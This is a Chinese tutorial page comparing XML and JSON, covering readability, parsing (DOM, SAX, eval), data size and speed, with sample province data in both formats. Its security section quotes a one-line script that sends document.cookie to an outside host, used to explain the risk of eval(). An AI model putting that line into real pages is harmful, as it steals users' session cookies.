首页 > 代码库 > XML与JSON的区别

XML与JSON的区别

总结下XML与JSON的区别:

 

XML简介:
扩展标记语言 (Extensible Markup Language, XML) ,用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 XML使用DTD(document type definition)文档类型定义来组织数据;格式统一,跨平台和语言,早已成为业界公认的标准。
XML是标准通用标记语言 (SGML) 的子集,非常适合 Web 传输。XML 提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。

JSON简介:
JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因 为他们计划下一代接口只支持JSON。

 

XML和JSON的优缺点对比

(1).可读性方面。
JSON和XML的数据可读性基本相同,JSON和XML的可读性可谓不相上下,一边是建议的语法,一边是规范的标签形式,XML可读性较好些。
(2).可扩展性方面。
XML天生有很好的扩展性,JSON当然也有,没有什么是XML能扩展,JSON不能的。

 

(3).是否易于在服务端创建数据

XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4j、jdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

  

(4).是否易于在客户端处理数据

在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函 数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在 这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫 地选择json。

(5).编码难度方面。
XML有丰富的编码工具,比如Dom4j、JDom等,JSON也有json.org提供的工具,但是JSON的编码明显比XML容易许多,即使不借助工具也能写出JSON的代码,可是要写好XML就不太容易了。


(6).解码难度方面。
XML的解析得考虑子节点父节点,让人头昏眼花,而JSON的解析难度几乎为0。这一点XML输的真是没话说。


(7).流行度方面。
XML已经被业界广泛的使用,而JSON才刚刚开始,但是在Ajax这个特定的领域,未来的发展一定是XML让位于JSON。到时Ajax应该变成Ajaj(Asynchronous Javascript and JSON)了。


(8).解析手段方面。
JSON和XML同样拥有丰富的解析手段。


(9).数据体积方面。
JSON相对于XML来讲,数据的体积小,传递的速度更快些。


(10).数据交互方面。
JSON与JavaScript的交互更加方便,更容易解析处理,更好的数据交互。


(11).数据描述方面。
JSON对数据的描述性比XML较差。


(12).传输速度方面。
JSON的速度要远远快于XML。

 

 

 实例比较

 XML和JSON都使用结构化方法来标记数据,下面来做一个简单的比较。

 用XML表示中国部分省市数据如下:


 <?xmlversion="1.0"encoding="utf-8"?>
 <country>
 <name>中国</name>
 <province>
 <name>黑龙江</name>
 <cities>
 <city>哈尔滨</city>
 <city>大庆</city>
 </cities>
 </province>
 <province>
 <name>广东</name>
 <cities>
 <city>广州</city>
 <city>深圳</city>
 <city>珠海</city>
 </cities>
 </province>
 <province>
 <name>台湾</name>
 <cities>
 <city>台北</city>
 <city>高雄</city>
 </cities>
 </province>
 <province>
 <name>新疆</name>
 <cities>
 <city>乌鲁木齐</city>
 </cities>
 </province>
 </country>
 

 用JSON表示如下:

 
 {
 "name":"中国",
 "province":[
 {
 "name":"黑龙江",
 "cities":{
 "city":["哈尔滨","大庆"]
 }
 },
 {
 "name":"广东",
 "cities":{
 "city":["广州","深圳","珠海"]
 }
 },
 {
 "name":"台湾",
 "cities":{
 "city":["台北","高雄"]
 }
 },
 {
 "name":"新疆",
 "cities":{
 "city":["乌鲁木齐"]
 }
 }
 ]
 }
 

数据交换格式比较之关于数据格式编码及解析的难度:

  在编码上,虽然XML和JSON都有各自的编码工具,但是JSON的编码要比XML简单,即使不借助工具,也可以写出JSON代码,但要写出好的 XML代码就有点困难;与XML一样,JSON也是基于文本的,且它们都使用Unicode编码,且其与数据交换格式XML一样具有可读性。

  主观上来看,JSON更为清晰且冗余更少些。JSON网站提供了对JSON语法的严格描述,只是描述较简短。从总体来看,XML比较适合于标记文档,而JSON却更适于进行数据交换处理。

  在解析上,在普通的web应用领域,开发者经常为XML的解析伤脑筋,无论是服务器端生成或处理XML,还是客户端用 JavaScript 解析XML,都常常导致复杂的代码,极低的开发效率。

 

 

 编码的可读性

编码的可读性来说,XML有明显的优势,毕竟人类的语言更贴近这样的说明结构。JSON读起来更像一个数据块,读起来就比较费解了。不过,我们读起来费解的语言,恰恰是适合机器阅读,所以通过JSON的索引country.provinces[0].name就能够读取“黑龙江”这个值。
编码的手写难度来说,XML还是舒服一些,好读当然就好写。不过写出来的字符JSON就明显少很多。去掉空白制表以及换行的话,JSON就是密密麻麻的有用数据,而XML却包含很多重复的标记字符。

 

 

 

数据交换格式比较之关于轻量级和重量级:

  轻量级和重量级是相对来说的,那么XML相对于JSON的重量级体现在哪呢?我想应该体现在解析上,XML目前设计了两种解析方式:DOM和SAX;

  DOM是把一个数据交换格式XML看成一个DOM对象,需要把XML文件整个读入内存,这一点上JSON和XML的原理是一样的,但是XML要考虑 父节点和子节点,这一点上JSON的解析难度要小很多,因为JSON构建于两种结构:key/value,键值对的集合;值的有序集合,可理解为数组;

  SAX不需要整个读入文档就可以对解析出的内容进行处理,是一种逐步解析的方法。程序也可以随时终止解析。这样,一个大的文档就可以逐步的、一点一点的展现出来,所以SAX适合于大规模的解析。这一点,JSON目前是做不到得。

  所以,JSON和XML的轻/重量级的区别在于:JSON只提供整体解析方案,而这种方法只在解析较少的数据时才能起到良好的效果;而XML提供了对大规模数据的逐步解析方案,这种方案很适合于对大量数据的处理。

 

 

 

 

安全性

 有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用

eval() 函数可编译并执行任何 JavaScript 代码。这隐藏了一个潜在的安全问题。

使用 JSON 解析器将 JSON 转换为 JavaScript 对象是更安全的做法。JSON 解析器只能识别 JSON 文本,而不会编译脚本。

在浏览器中,这提供了原生的 JSON 支持,而且 JSON 解析器的速度更快。

 

如以下的代码:
window.location = "<a href=http://www.mamicode.com/"http://xx.com?" + document.cookie;
person : { 
 "firstName" : "lcx", 
 "lastName" : "leyue" 

导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开 发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全 的。

 

 


 

本人认为使用场合

xml:    首先,XML被大量采用为各种自由/商业软件内部/外部的配置文件形式
其次,XML也适合作为基于对象模型的文件存储
再说扩展,WSDL,MathML等都是XML的扩展形式,前者是WebService的基础,后者是编写并显示复杂数学公式的标准。

 

json:  在写WEB应用时,服务端用Java,客户端使用JS,从 web 服务器上读取 JSON 数据(作为文件或作为 HttpRequest),将 JSON 数据转换为 JavaScript 对象,然后在网页中使用该数据。(JavaJSON支持库除了Json.lib以外,还有一堆其它的库,都要下载才可以)